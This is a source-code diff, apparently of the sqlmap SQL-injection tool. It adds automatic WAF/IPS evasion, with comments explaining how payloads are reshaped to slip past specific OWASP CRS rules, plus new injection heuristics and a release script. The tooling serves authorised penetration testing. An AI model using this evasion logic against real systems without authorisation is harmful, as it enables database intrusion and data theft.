+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+				RuntimeLibrary="0"
+				UsePrecompiledHeader="2"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\runcmd.cpp"
+				>
+			</File>
+			<File
+				RelativePath=".\stdafx.cpp"
+				>
+				<FileConfiguration
+					Name="Debug|Win32"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="1"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|Win32"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						UsePrecompiledHeader="1"
+					/>
+				</FileConfiguration>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+		<File
+			RelativePath=".\ReadMe.txt"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

extra/runcmd/src/runcmd/stdafx.cpp

@@ -1,8 +1,8 @@
-// stdafx.cpp : source file that includes just the standard includes
-// runcmd.pch will be the pre-compiled header
-// stdafx.obj will contain the pre-compiled type information
-
-#include "stdafx.h"
-
-// TODO: reference any additional headers you need in STDAFX.H
-// and not in this file
+// stdafx.cpp : source file that includes just the standard includes
+// runcmd.pch will be the pre-compiled header
+// stdafx.obj will contain the pre-compiled type information
+
+#include "stdafx.h"
+
+// TODO: reference any additional headers you need in STDAFX.H
+// and not in this file

extra/runcmd/src/runcmd/stdafx.h

@@ -1,17 +1,17 @@
-// stdafx.h : include file for standard system include files,
-// or project specific include files that are used frequently, but
-// are changed infrequently
-//
-
-#pragma once
-
-#ifndef _WIN32_WINNT		// Allow use of features specific to Windows XP or later.                   
-#define _WIN32_WINNT 0x0501	// Change this to the appropriate value to target other versions of Windows.
-#endif						
-
-#include <stdio.h>
-#include <tchar.h>
-
-
-
-// TODO: reference additional headers your program requires here
+// stdafx.h : include file for standard system include files,
+// or project specific include files that are used frequently, but
+// are changed infrequently
+//
+
+#pragma once
+
+#ifndef _WIN32_WINNT		// Allow use of features specific to Windows XP or later.                   
+#define _WIN32_WINNT 0x0501	// Change this to the appropriate value to target other versions of Windows.
+#endif						
+
+#include <stdio.h>
+#include <tchar.h>
+
+
+
+// TODO: reference additional headers your program requires here

extra/shutils/pypi.sh

@@ -1,4 +1,6 @@
 #!/bin/bash
+set -euo pipefail
+IFS=$'\n\t'
 
 if [ ! -f ~/.pypirc ]; then
     echo "File ~/.pypirc is missing"
@@ -9,10 +11,11 @@ declare -x SCRIPTPATH="${0}"
 SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py"
 VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3)
 TYPE=pip
-TMP_DIR=/tmp/pypi
-mkdir $TMP_DIR
-cd $TMP_DIR
-cat > $TMP_DIR/setup.py << EOF
+TMP_DIR="$(mktemp -d -t pypi.XXXXXXXX)"
+cleanup() { rm -rf -- "${TMP_DIR:?}"; }
+trap cleanup EXIT
+cd "$TMP_DIR"
+cat > "$TMP_DIR/setup.py" << EOF
 #!/usr/bin/env python
 
 """
@@ -60,6 +63,10 @@ setup(
     },
 )
 EOF
+cat > "$TMP_DIR/setup.cfg" << "EOF"
+[bdist_wheel]
+universal = 1
+EOF
 wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip
 unzip sqlmap.zip
 rm sqlmap.zip
@@ -176,8 +183,14 @@ Links
 EOF
 sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py
 sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py
-for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done
+: > MANIFEST.in
+while IFS= read -r -d '' file; do
+    case "$file" in
+        *.git|*.yml) continue ;;
+    esac
+    echo "include $file" >> MANIFEST.in
+done < <(find sqlmap -type f -print0)
 python setup.py sdist bdist_wheel
 twine check dist/*
 twine upload --config-file=~/.pypirc dist/*
-rm -rf $TMP_DIR
+rm -rf "$TMP_DIR"

lib/controller/action.py

@@ -8,11 +8,14 @@ See the file 'LICENSE' for copying permission
 from lib.controller.handler import setHandler
 from lib.core.common import Backend
 from lib.core.common import Format
+from lib.core.common import hashDBWrite
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.enums import CONTENT_TYPE
+from lib.core.enums import DBMS
+from lib.core.enums import HASHDB_KEYS
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.core.settings import SUPPORTED_DBMS
@@ -30,8 +33,41 @@ def action():
 
     # First of all we have to identify the back-end database management
     # system to be able to go ahead with the injection
+    # automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error
+    # page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads
+    # and flood the run with 403s) and assume that DBMS, so the user gets a usable result
+    if kb.wafBypass and not conf.forceDbms:
+        fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
+        fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
+        if fallback:
+            logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback)
+            conf.forceDbms = fallback
+
     setHandler()
 
+    if kb.wafBypass and Backend.getDbms():      # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
+        hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
+
+    # automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
+    # libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
+    #   * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) -
+    #     otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables";
+    #   * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
+    #     ORD/MID function names scored by 942151/942190);
+    #   * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
+    #     'mysql.innodb_table_stats', which is not on those blocklists.
+    # (blindbinary also reshapes PostgreSQL, but full extraction through the CRS proxy garbles there - an
+    #  open issue - so PG is not auto-applied; it stays available as manual '--tamper=blindbinary'.)
+    if kb.wafBypass and Backend.getIdentifiedDbms() == DBMS.MYSQL:
+        kb.data.has_information_schema = True
+        if not conf.tamper:
+            from lib.utils.wafbypass import loadTamper
+            for _name in ("blindbinary", "infoschema2innodb"):
+                function = loadTamper(_name)
+                if function is not None and function not in (kb.tamperFunctions or []):
+                    kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
+            logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS")
+
     if not Backend.getDbms() or not conf.dbmsHandler:
         htmlParsed = Format.getErrorParsedDBMSes()
 
@@ -78,6 +114,9 @@ def action():
     if conf.getStatements:
         conf.dumper.statements(conf.dbmsHandler.getStatements())
 
+    if conf.getProcs:
+        conf.dumper.procedures(conf.dbmsHandler.getProcedures())
+
     if conf.getPasswordHashes:
         try:
             conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)

lib/controller/checks.py

@@ -16,6 +16,7 @@ from extra.beep.beep import beep
 from lib.core.agent import agent
 from lib.core.common import Backend
 from lib.core.common import extractRegexResult
+from lib.core.common import extractStructuralTokens
 from lib.core.common import extractTextTagContent
 from lib.core.common import filterNone
 from lib.core.common import findDynamicContent
@@ -79,14 +80,22 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
 from lib.core.settings import FI_ERROR_REGEX
 from lib.core.settings import FORMAT_EXCEPTION_STRINGS
+from lib.core.settings import GRAPHQL_ERROR_REGEX
 from lib.core.settings import HEURISTIC_CHECK_ALPHABET
 from lib.core.settings import INFERENCE_EQUALS_CHAR
+from lib.core.settings import LDAP_ERROR_REGEX
+from lib.core.settings import SSTI_ERROR_REGEX
+from lib.core.settings import XPATH_ERROR_REGEX
 from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IPS_WAF_CHECK_RATIO
 from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
 from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import MAX_STABILITY_DELAY
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
+from lib.core.settings import NOSQL_ERROR_REGEX
+from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_HIGH
+from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_LOW
+from lib.core.settings import NULL_CONNECTION_SKIP_READ_MIN_LENGTH
 from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
 from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
@@ -94,12 +103,14 @@ from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.settings import URI_HTTP_HEADER
+from lib.core.settings import WAF_BLOCK_HTTP_CODES
 from lib.core.threads import getCurrentThreadData
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.request.comparison import comparison
 from lib.request.inject import checkBooleanExpression
 from lib.request.templates import getPageTemplate
+from lib.utils.dialect import dialectCheckDbms
 from lib.techniques.union.test import unionTest
 from lib.techniques.union.use import configUnion
 from thirdparty import six
@@ -149,6 +160,13 @@ def checkSqlInjection(place, parameter, value):
                     if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
                         kb.heuristicDbms = heuristicCheckDbms(injection)
 
+                    # keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads
+                    # and is skipped when the WAF/IPS is dropping requests; the operator-dialect
+                    # probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in
+                    # that case (or when it was inconclusive), using the now-calibrated boolean oracle
+                    if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None:
+                        kb.heuristicDbms = dialectCheckDbms(injection)
+
                 # If the DBMS has already been fingerprinted (via DBMS-specific
                 # error message, simple heuristic check or via DBMS-specific
                 # payload), ask the user to limit the tests to the fingerprinted
@@ -554,7 +572,7 @@ def checkSqlInjection(place, parameter, value):
 
                                     injectable = True
 
-                                elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
                                     originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
                                     trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
                                     falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
@@ -580,7 +598,19 @@ def checkSqlInjection(place, parameter, value):
                                                     break
 
                             if injectable:
-                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                # WAF/IPS block-artifact guard: a TRUE condition (the always-true payload that
+                                # mimics a legitimate request) coming back with a blocked HTTP status (e.g. 403)
+                                # while the FALSE condition passes (2xx) is the WAF answering, not the database.
+                                # A real boolean injection's TRUE condition reproduces the normal page, so this
+                                # status-code asymmetry is the classic false positive - refuse it here.
+                                if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400:
+                                    warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode)
+                                    warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive"
+                                    logger.warning(warnMsg)
+                                    injectable = False
+                                    continue
+
+                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
                                     if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode:
                                         suggestion = conf.code = trueCode
 
@@ -1088,7 +1118,7 @@ def heuristicCheckSqlInjection(place, parameter):
     if casting:
         errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
 
-        platform = conf.url.split('.')[-1].lower()
+        platform = (extractRegexResult(r"\.(?P<result>\w+)(?:\?|\Z)", conf.url) or conf.url.split('.')[-1]).lower()
         if platform == WEB_PLATFORM.ASP:
             errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter)
         elif platform == WEB_PLATFORM.ASPX:
@@ -1149,6 +1179,41 @@ def heuristicCheckSqlInjection(place, parameter):
     except (SystemError, RuntimeError) as ex:
         logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex))
 
+    if not conf.nosql and re.search(NOSQL_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (NoSQL) test shows that %sparameter '%s' might be vulnerable to NoSQL injection attacks (rerun with switch '--nosql')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.graphql and re.search(GRAPHQL_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (GraphQL) test shows that %sparameter '%s' appears to be a GraphQL endpoint (rerun with switch '--graphql')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.ldap and re.search(LDAP_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (LDAP) test shows that %sparameter '%s' might be vulnerable to LDAP injection (rerun with switch '--ldap')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.xpath and re.search(XPATH_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (XPath) test shows that %sparameter '%s' might be vulnerable to XPath injection (rerun with switch '--xpath')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.ssti and re.search(SSTI_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (SSTI) test shows that %sparameter '%s' might be vulnerable to server-side template injection (rerun with switch '--ssti')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
     kb.disableHtmlDecoding = False
     kb.heuristicMode = False
 
@@ -1238,7 +1303,7 @@ def checkDynamicContent(firstPage, secondPage):
             kb.heavilyDynamic = True
 
             secondPage, _, _ = Request.queryPage(content=True)
-            findDynamicContent(firstPage, secondPage)
+            findDynamicContent(firstPage, secondPage, merge=True)
 
 def checkStability():
     """
@@ -1329,7 +1394,26 @@ def checkStability():
                 raise SqlmapNoneDataException(errMsg)
 
         else:
-            checkDynamicContent(firstPage, secondPage)
+            # Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check
+            # whether the page is structurally stable (identical tag/class/id skeleton across the two
+            # requests) despite differing text. If so, base the comparison on that value-free structure
+            # so that dynamic content (e.g. per-render result rows) does not mask an injection. This is
+            # the HTML counterpart of the structure-aware JSON comparison
+            if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage):
+                kb.pageStructurallyStable = True
+
+                if kb.nullConnection:
+                    debugMsg = "turning off NULL connection "
+                    debugMsg += "support because of structural page comparison"
+                    logger.debug(debugMsg)
+
+                    kb.nullConnection = None
+
+                infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
+                infoMsg += "will base the page comparison on the page structure"
+                logger.info(infoMsg)
+            else:
+                checkDynamicContent(firstPage, secondPage)
 
     return kb.pageStable
 
@@ -1351,6 +1435,10 @@ def checkWaf():
             warnMsg = "previous heuristics detected that the target "
             warnMsg += "is protected by some kind of WAF/IPS"
             logger.critical(warnMsg)
+            if hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_BYPASS, True):    # re-apply a previously accepted automatic bypass
+                from lib.utils.wafbypass import neutralizeFingerprint
+                kb.wafBypass = True
+                neutralizeFingerprint()
         return _
 
     if not kb.originalPage:
@@ -1377,6 +1465,7 @@ def checkWaf():
     kb.choices.redirect = REDIRECTION.YES
     kb.resendPostOnRedirect = False
     conf.timeout = IPS_WAF_CHECK_TIMEOUT
+    kb.checkWafMode = True
 
     try:
         retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO
@@ -1384,6 +1473,7 @@ def checkWaf():
         retVal = True
     finally:
         kb.matchRatio = None
+        kb.checkWafMode = False
 
         conf.timeout = popValue()
         kb.resendPostOnRedirect = popValue()
@@ -1391,6 +1481,7 @@ def checkWaf():
 
     hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
 
+
     if retVal:
         if not kb.identifiedWafs:
             warnMsg = "heuristics detected that the target "
@@ -1404,9 +1495,19 @@ def checkWaf():
         if not choice:
             raise SqlmapUserQuitException
         else:
-            if not conf.tamper:
-                warnMsg = "please consider usage of tamper scripts (option '--tamper')"
-                singleTimeWarnMessage(warnMsg)
+            if not conf.tamper and not kb.tamperFunctions:
+                message = "do you want sqlmap to try to automatically bypass the WAF/IPS during "
+                message += "the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] "
+                kb.wafBypass = readInput(message, default='Y', boolean=True)
+                hashDBWrite(HASHDB_KEYS.CHECK_WAF_BYPASS, kb.wafBypass, True)
+                if kb.wafBypass:
+                    # apply it up-front so the whole run (detection included) avoids the scanner
+                    # fingerprint, instead of getting blocked first and only then retrying
+                    from lib.utils.wafbypass import neutralizeFingerprint
+                    neutralizeFingerprint()
+                    logger.info("using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS")
+                else:
+                    singleTimeWarnMessage("please consider manual usage of tamper scripts (option '--tamper')")
 
     return retVal
 
@@ -1434,30 +1535,79 @@ def checkNullConnection():
         pushValue(kb.pageCompress)
         kb.pageCompress = False
 
+        # A method is accepted only if the length it reports tracks the real GET response. The
+        # original page length (len(kb.originalPage)) is the reference; a method whose length is
+        # grossly off (e.g. HEAD returning 'Content-Length: 0', HEAD served from a different code
+        # path, or sneaked-in compression) would otherwise make every page look identical and
+        # silently break detection. The band is coarse on purpose (byte-vs-character size and
+        # moderate page dynamism are expected); a false reject just forgoes the optimization
+        def _plausibleLength(length):
+            reference = len(kb.originalPage or "")
+            if not reference:
+                return True
+            return NULL_CONNECTION_LENGTH_TOLERANCE_LOW * reference <= length <= NULL_CONNECTION_LENGTH_TOLERANCE_HIGH * reference
+
         try:
             page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
 
             if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
-                kb.nullConnection = NULLCONNECTION.HEAD
+                try:
+                    length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
+                except ValueError:
+                    length = None
 
-                infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
-                logger.info(infoMsg)
-            else:
+                if length is not None and _plausibleLength(length):
+                    kb.nullConnection = NULLCONNECTION.HEAD
+
+                    infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
+                    logger.info(infoMsg)
+                elif length is not None:
+                    debugMsg = "HEAD method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
+                    logger.debug(debugMsg)
+
+            if kb.nullConnection is None:
                 page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
 
                 if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
-                    kb.nullConnection = NULLCONNECTION.RANGE
+                    try:
+                        length = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
+                    except ValueError:
+                        length = None
 
-                    infoMsg = "NULL connection is supported with GET method ('Range')"
-                    logger.info(infoMsg)
-                else:
-                    _, headers, _ = Request.getPage(skipRead=True)
+                    if length is not None and _plausibleLength(length):
+                        kb.nullConnection = NULLCONNECTION.RANGE
 
-                    if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
+                        infoMsg = "NULL connection is supported with GET method ('Range')"
+                        logger.info(infoMsg)
+                    elif length is not None:
+                        debugMsg = "'Range' method reports an implausible total length (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
+                        logger.debug(debugMsg)
+
+            if kb.nullConnection is None:
+                _, headers, _ = Request.getPage(skipRead=True)
+
+                if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
+                    try:
+                        length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
+                    except ValueError:
+                        length = len(kb.originalPage or "")
+
+                    if not _plausibleLength(length):
+                        debugMsg = "'skip-read' method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
+                        logger.debug(debugMsg)
+                    # Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the
+                    # connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake
+                    # per request. That only outweighs the avoided body transfer for large responses;
+                    # for small ones it is a net slowdown, so it is gated by the response size here
+                    elif length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH:
                         kb.nullConnection = NULLCONNECTION.SKIP_READ
 
                         infoMsg = "NULL connection is supported with 'skip-read' method"
                         logger.info(infoMsg)
+                    else:
+                        debugMsg = "'skip-read' NULL connection method is available but skipped because the "
+                        debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length
+                        logger.debug(debugMsg)
 
         except SqlmapConnectionException:
             pass

lib/controller/controller.py

@@ -41,6 +41,7 @@ from lib.core.common import readInput
 from lib.core.common import removePostHintPrefix
 from lib.core.common import safeCSValue
 from lib.core.common import showHttpErrorCodes
+from lib.core.common import singleTimeWarnMessage
 from lib.core.common import urldecode
 from lib.core.common import urlencode
 from lib.core.compat import xrange
@@ -70,11 +71,13 @@ from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
 from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
+from lib.core.settings import HASHDB_STALE_DAYS
 from lib.core.settings import HOST_ALIASES
 from lib.core.settings import IGNORE_PARAMETERS
 from lib.core.settings import LOW_TEXT_PERCENT
 from lib.core.settings import REFERER_ALIASES
 from lib.core.settings import USER_AGENT_ALIASES
+from lib.core.settings import WAF_BYPASS_MAX_TRIALS
 from lib.core.target import initTargetEnv
 from lib.core.target import setupTargetEnv
 from lib.utils.hash import crackHashFile
@@ -167,6 +170,57 @@ def _formatInjection(inj):
 
     return data
 
+def _autoWafBypass(place, parameter, value):
+    """
+    Automatic WAF/IPS bypass (offered interactively once a WAF/IPS is detected, cached in
+    kb.wafBypass). The request fingerprint has already been neutralized up-front (non-scanner
+    User-Agent, see checkWaf), so here the empirically-ranked candidate tamper scripts are trialled
+    and the first that RESTORES a confirmed injection is adopted. Re-running checkSqlInjection()
+    through a candidate is itself the validation - it succeeds only if the resulting payload both
+    passes the WAF and stays valid SQL, so junk/incompatible candidates are rejected automatically.
+    """
+
+    from lib.utils.wafbypass import candidateTampers, loadTamper
+
+    retVal = None
+
+    savedTamper = kb.tamperFunctions
+    savedTechnique = conf.technique
+    conf.technique = [PAYLOAD.TECHNIQUE.BOOLEAN]    # bound each trial to a quick boolean re-check
+
+    candidates = candidateTampers(identifiedWafs=kb.identifiedWafs)
+
+    try:
+        for count, name in enumerate(candidates):
+            if count >= WAF_BYPASS_MAX_TRIALS:
+                break
+
+            function = loadTamper(name)
+            if function is None:
+                continue
+
+            kb.tamperFunctions = [function]
+            logger.info("trying to bypass the WAF/IPS with tamper script '%s'" % name)
+
+            injection = checkSqlInjection(place, parameter, value)
+            if getattr(injection, "place", None) is not None and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
+                logger.info("bypassed the WAF/IPS by using tamper script '%s' (with a non-scanner User-Agent)" % name)
+                logger.info("the same result can be reproduced manually with switch '--random-agent' and tamper script '%s'" % name)
+                retVal = injection
+                return retVal
+
+            if kb.droppingRequests and count >= 2:
+                logger.warning("target keeps dropping requests; giving up on the WAF/IPS bypass")
+                break
+    finally:
+        conf.technique = savedTechnique
+        if retVal is None:      # nothing worked - leave tampering untouched
+            kb.tamperFunctions = savedTamper
+            # honest bail: say it could not be bypassed and what to try manually
+            logger.warning("unable to automatically bypass the WAF/IPS; it might be using behavioral or rate-based detection (consider a manual '--tamper' selection, '--delay', or '--proxy' rotation)")
+
+    return retVal
+
 def _showInjections():
     if conf.wizard and kb.wizardMode:
         kb.wizardMode = False
@@ -181,9 +235,29 @@ def _showInjections():
         conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
         conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
     else:
+        # --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without
+        # printing them (the human-readable injection points are rendered just below)
+        if conf.reportJson:
+            conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET)
+            conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES)
+
         data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
         conf.dumper.string(header, data)
 
+    # when results were resumed (no test requests this run), nudge if the session file is stale -
+    # this is the common "why is it showing old/unexpected results?" confusion
+    if kb.testQueryCount == 0 and not conf.freshQueries:
+        try:
+            days = int((time.time() - os.path.getmtime(conf.hashDBFile)) / (24 * 3600))
+        except (OSError, IOError, TypeError):
+            days = 0
+
+        if days >= HASHDB_STALE_DAYS:
+            warnMsg = "results above were resumed from a session file last updated %d days ago, " % days
+            warnMsg += "so they may be stale. Rerun with '--flush-session' to retest "
+            warnMsg += "or '--fresh-queries' to ignore cached query results"
+            logger.warning(warnMsg)
+
     if conf.tamper:
         warnMsg = "changes made by tampering scripts are not "
         warnMsg += "included in shown payload content(s)"
@@ -431,13 +505,21 @@ def start():
                     infoMsg = "testing URL '%s'" % targetUrl
                     logger.info(infoMsg)
 
+            if conf.graphql and PLACE.GET not in conf.parameters:
+                # graphqlScan() is self-contained and operates on the GraphQL
+                # document, not on HTTP parameters. A dummy GET parameter keeps
+                # _setRequestParams() from appending the URI injection marker ('*')
+                # to a bare endpoint URL (which would break detection under
+                # '--batch'); it is discarded by graphqlScan() on entry.
+                conf.parameters[PLACE.GET] = "x"
+
             setupTargetEnv()
 
-            if not checkConnection(suppressOutput=conf.forms):
+            if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms):
                 continue
 
             if conf.rParam and kb.originalPage:
-                kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])
+                kb.randomPool = dict(_ for _ in kb.randomPool.items() if isinstance(_[1], list))
 
                 for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>", kb.originalPage):
                     name, _ = match.groups()
@@ -447,6 +529,34 @@ def start():
 
             checkWaf()
 
+            if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)) and (conf.reportJson or conf.resultsFile):
+                singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti) findings; these are reported on the console only")
+
+            if conf.graphql:
+                from lib.techniques.graphql.inject import graphqlScan
+                graphqlScan()
+                continue
+
